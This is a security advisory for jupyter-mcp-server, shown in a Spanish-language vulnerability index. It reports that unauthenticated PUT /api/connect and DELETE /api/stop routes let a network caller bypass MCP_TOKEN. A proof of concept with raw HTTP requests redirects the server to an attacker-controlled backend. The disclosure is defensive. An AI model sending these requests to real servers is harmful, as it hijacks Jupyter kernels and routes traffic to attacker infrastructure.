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Advisory · GitHub · PyPI · jupyter-mcp-server

GHSA-24PW-RF5P-MGP7

Jupyter MCP Server: Unauthenticated management routes can hijack the Jupyter backend in standalone HTTP mode

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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión1.0.3
Exposición1 dDesde la divulgación, 19 nov 2026, 7:12 p. m.
Detección8 hDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (alta) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
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Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
07:12 p. m.
03:14 a. m.
06:23 a. m.
07:12 p. m.
03:59 a. m.
12:47 p. m.
09:35 p. m.
06:23 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-24PW-RF5P-MGP7 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` requires `MCP_TOKEN` for `/mcp`, but the custom management routes mounted on the same application do not enforce that token. An unauthenticated network caller can invoke `PUT /api/connect`, choose the Jupyter backend URL and token fields, reset the server context, and make the MCP server start a kernel client against attacker-controlled infrastructure. The same missing authentication affects the state-changing `DELETE /api/stop` route.

The intended authentication boundary is documented in the security guide and enforced during startup:

docs/docs/reference/security/index.mdx:15
All MCP endpoints require Bearer token authentication.

docs/docs/reference/security/index.mdx:25
Starting with version 1.0.0, MCP client authentication is required for the streamable-http transport.

The CLI enforces that boundary for the MCP endpoint:

# jupyter_mcp_server/CLI.py:203-209
if transport == "streamable-http" and not mcp_token and not insecure_mcp_noauth:
    raise click.UsageError(
        "streamable-http transport requires MCP client authentication. "
        "Set --mcp-token / MCP_TOKEN, or pass --insecure-mcp-noauth to "
        "explicitly allow unauthenticated access."
    )
# jupyter_mcp_server/CLI.py:285-290
if transport == "streamable-http":
    if mcp_token:
        from jupyter_mcp_server.server import RuntimeTokenVerifier
        mcp._token_verifier = RuntimeTokenVerifier(mcp_token)
        logger.info("MCP endpoint token authentication enabled (using MCP_TOKEN)")

The vulnerable route is `jupyter_mcp_server/server.py:143-187`:

@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
    data = await request.json()

    document_runtime = DocumentRuntime(**data)

    set_config(
        provider=document_runtime.provider,
        runtime_url=document_runtime.runtime_url,
        runtime_id=document_runtime.runtime_id,
        runtime_token=document_runtime.runtime_token,
        document_url=document_runtime.document_url,
        document_id=document_runtime.document_id,
        document_token=document_runtime.document_token,
        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
    )

    ServerContext.reset()

    try:
        __start_kernel()
        return JSONResponse({"success": True})

`/api/stop` is also unauthenticated and state-changing:

# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
    try:
        current_notebook = notebook_manager.get_current_notebook() or "default"
        if current_notebook in notebook_manager:
            notebook_manager.remove_notebook(current_notebook)
        return JSONResponse({"success": True})

Proof of concept

Run the affected version:

git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
  --transport streamable-http \
  --start-new-runtime false \
  --jupyterlab false \
  --mcp-token SCAN_MCP_TOKEN \
  --port 8083

Send a request to the protected MCP endpoint without credentials:

POST /mcp HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}

Observed response:

HTTP/1.1 401 Unauthorized
www-authenticate: Bearer error="invalid_token", error_description="Authentication required"

Now send the unauthenticated management request:

PUT /api/connect HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json

{
  "provider": "jupyter",
  "runtime_url": "http://127.0.0.1:9183",
  "runtime_id": "",
  "runtime_token": "ATTACKER_TOKEN_DIRECT",
  "document_url": "http://127.0.0.1:9183",
  "document_id": "demo.ipynb",
  "document_token": "ATTACKER_TOKEN_DIRECT"
}

Observed response:

HTTP/1.1 200 OK
content-type: application/json

{"success":true}

The server log shows that `/api/connect` accepted the attacker-chosen backend:

Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully

When an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:

POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_DIRECT

GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_DIRECT

Impact

An attacker does not need the `MCP_TOKEN` to mutate the standalone MCP server's active backend connection. The attacker can stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.

For a same-network attacker, this is a direct unauthenticated state change against the HTTP listener. This defeats the documented standalone HTTP security boundary because the protected `/mcp` endpoint rejects missing credentials while adjacent management routes perform sensitive state changes without the same control.

Why this is a vulnerability, not intended behavior

  • This is not the explicit `--insecure-mcp-noauth` mode. The proof runs with `MCP_TOKEN` configured, and `/mcp` correctly returns `401 Unauthorized` without it.
  • This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch.
  • This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the boundary failure is that state-changing custom routes bypass the token control applied to `/mcp`.

Remediation

Apply the same inbound authentication policy to every route mounted on the standalone HTTP app:

  1. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.
  2. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.
  3. Add regression tests proving that `/api/connect` and `/api/stop` reject missing bearer tokens and invalid bearer tokens.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
jupyter-mcp-server< 1.0.3
1.0.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
PyPIjupyter-mcp-server
Corregida 1.0.3 — —
Versiones corregidas1.0.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-77318
Otrahttps://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-24pw-rf5p-mgp7
Otrahttps://github.com/datalayer/jupyter-mcp-server/pull/262
Otrahttps://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4d246fc5
Otrahttps://github.com/datalayer/jupyter-mcp-server
Otrahttps://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3

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